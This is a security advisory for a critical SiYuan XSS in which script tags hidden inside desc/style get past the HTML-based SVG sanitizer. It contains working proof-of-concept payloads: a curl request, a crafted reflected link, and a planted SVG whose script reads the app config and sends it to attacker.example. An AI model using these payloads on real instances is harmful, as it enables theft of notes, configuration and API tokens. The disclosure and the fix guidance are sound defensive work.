Skip to content

GHSA-99rq-75j6-5j9f CVE-2026-66394 GO-2026-6364

SiYuan: Stored and reflected XSS in SiYuan through an SVG sanitizer bypass

Critical Go
Severity
9.3 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.34%
Chance of exploitation in the next 30 days. Higher than 27.09% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix
0.0.0-20260714095344-f08dee71ba8e
Upgrade github.com/siyuan-note/siyuan/kernel to this version or later

Description

Summary

SiYuan cleans user supplied SVG with util.SanitizeSVG before it serves the file inline as image/svg+xml. This cleaner is the guard behind the Editor.AllowSVGScript setting, which is off by default, so a <script> inside an SVG is meant to be removed.

The cleaner reads the input as HTML, but the browser reads the served file as XML (SVG). Because the two parsers treat some tags differently, a <script> can be hidden so the cleaner never removes it. The cleaned file still holds a working script. When a browser opens that file as an SVG document, the script runs in the app origin. There is no Content Security Policy in the product to stop it.

The same bug can be reached in two ways. Both share one root cause (the cleaner), so one fix in the cleaner closes both:

  • Reflected, through a single link: GET /api/icon/getDynamicIcon
  • Stored, through a planted .svg asset: GET /assets/<name>.svg

I confirmed this on a live SiYuan 3.7.2 kernel.

Root cause

util.SanitizeSVG (kernel/util/misc.go:319) parses the string with an HTML parser, walks the element nodes to drop <script>, <iframe>, <foreignobject>, event handler attributes and so on, then renders it back and cuts out the <svg>...</svg> part.

The gap comes from HTML parsing rules that do not exist in XML:

  • <desc> and <title> are HTML integration points. Inside them the HTML parser switches back to normal HTML mode. The cleaner drops <foreignObject> but keeps <desc> and <title>.
  • Inside HTML mode, <style>, <xmp> and <noscript> are raw text elements. Their contents are read as plain text, not as child nodes. So the cleaner never sees a <script> placed inside them, and the render step writes it back exactly as it was.
  • When the browser reads the same bytes as XML (SVG), there is no raw text rule. <style> becomes a normal container and the hidden <script> becomes a real, working SVG script node.

I checked this by building and running the real SanitizeSVG. A plain <script> under <svg> is removed, but wrapping it in <desc><style> lets it pass through untouched:

IN : <svg><script>alert(1)</script></svg>
OUT: <svg></svg>                                                     (removed)

IN : <svg><desc><style><script>alert(1)</script></style></desc></svg>
OUT: <svg><desc><style><script>alert(1)</script></style></desc></svg>   (kept, runs)

Two places serve SVG through this cleaner, and both only require CheckAuth, which allows Administrator, Editor and Reader roles:

  • kernel/server/serve.go:703 serveSVG serves an asset inline as image/svg+xml.
  • kernel/api/icon.go:158 getDynamicIcon. For type=8 the content query value is put straight into the SVG template at icon.go:583 with no escaping, then cleaned, then served as image/svg+xml.

Attack vector 1: reflected (one link)

The content value in getDynamicIcon is reflected as is and survives the cleaner. A signed in user only has to open one link.

curl -sk -G 'http://127.0.0.1:6806/api/icon/getDynamicIcon' \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><desc><style><script>alert(document.domain)</script></style></desc><text>'

The response is HTTP/1.1 200 OK, Content-Type: image/svg+xml, and the body holds a live script:

<text ...></text><desc><style><script>alert(document.domain)</script></style></desc><text></text>

Open this in a browser as a signed in user (or on an instance with no lock screen code) to see it run:

http://<host>:6806/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cdesc%3E%3Cstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%2Fstyle%3E%3C%2Fdesc%3E%3Ctext%3E

Attack vector 2: stored (planted asset)

Place this file as data/assets/evil.svg:

<svg xmlns="http://www.w3.org/2000/svg"><desc><style><script>
fetch('/api/system/getConf',{method:'POST'}).then(r=>r.text())
  .then(t=>{new Image().src='https://attacker.example/?'+encodeURIComponent(t)});
</script></style></desc></svg>

Then open /assets/evil.svg. The script runs. The asset can arrive by admin upload, or by a lower trust path such as an imported template, a .sy.zip, or a synced asset that carries a booby trapped SVG.

Note for both vectors: an SVG script runs on direct navigation, <iframe>, <embed> or <object>. It does not run when the SVG is loaded through an <img> tag, so open the link directly or embed it in a frame.

Impact

  • A note or asset made by one user can run any JavaScript in another user's browser on the publish site. This is the publishing threat model.
  • Script in the app origin can call the signed in kernel API, so it can read and write notes and files, read the config, and steal the API token. In the desktop app origin this means full workspace takeover.
  • The default AllowSVGScript=false exists to stop SVG scripts, and this bypass removes that protection. There is no CSP as a backup.

Suggested fix

  • Do not use an HTML parse and re render cleaner for content that the browser reads as XML or SVG. Clean it as XML, or use a trusted SVG cleaner, and also drop <desc>, <title> and <foreignObject> and any raw text smuggled markup.
  • Serve user SVG with Content-Disposition: attachment and a non running content type, and add a strict script-src CSP on /assets/* and /api/icon/getDynamicIcon.
  • Escape the reflected content value in getDynamicIcon before it goes into the template.

Affected versions

Go

PackageVulnerableFixed in
github.com/siyuan-note/siyuan/kernel
< 0.0.0-20260714095344-f08dee71ba8e
0.0.0-20260714095344-f08dee71ba8e

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/siyuan-note/siyuan/kernel Go → 0.0.0-20260714095344-f08dee71ba8e

go
go get github.com/siyuan-note/siyuan/kernel@v0.0.0-20260714095344-f08dee71ba8e && go mod tidy

Severity breakdown

CVSS 4.0 9.3

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
Passive
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 8.7

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp3q-r38w-vgqm
SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-9cqf-hhrq-7v45
SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-57v5-wqx3-cgj4
SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-4wwp-f6gw-6qm5
SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-3cm4-ccvw-6xr6
SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/*
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-x8gv-g2g3-65fj
SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-p23f-cm6q-2qp8
SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-rpx2-p6hp-x5gj
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin
Medium Also affects github.com/siyuan-note/siyuan/kernel
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor